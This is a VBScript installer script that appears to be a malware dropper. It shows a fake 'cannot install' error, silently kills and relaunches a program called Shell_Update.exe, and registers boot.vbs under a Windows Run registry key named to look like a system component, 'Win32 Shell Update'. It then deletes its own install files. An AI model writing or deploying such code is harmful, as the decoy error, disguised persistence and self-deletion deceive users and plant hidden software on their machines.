on error resume next

MsgBox "Error Canot Install" ,,"Error"

Dim objWMIService, objProcess, colProcess
Dim strComputer, strProcessKill
Set Shell = WScript.CreateObject("WScript.Shell")
strComputer = "."
strProcessKill = "'Shell_Update.exe'"

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colProcess = objWMIService.ExecQuery ("Select * from Win32_Process Where Name = " & strProcessKill )

  For Each objProcess in colProcess
    objProcess.Terminate()
  Next
  
Const constHKEY_LOCAL_MACHINE = &H80000002
Const constComputer = "."
Set Shell = WScript.CreateObject("WScript.Shell")
set objFSO = CreateObject("Scripting.FileSystemObject")
Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & constComputer & "\root\default:StdRegProv")
app = shell.ExpandEnvironmentStrings("%windir%") & "\Shell_Update\boot.vbs"

strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
strValueName = "Win32 Shell Update"
strValue = app
objReg.SetStringValue constHKEY_LOCAL_MACHINE, strKeyPath, strValueName, strValue

Shell.Run "regedit.exe /s install.reg",1, true 
Shell.Run "Shell_Update.exe",1, true 



objFSO.DeleteFile("install.vbs")
objFSO.DeleteFile("install.reg")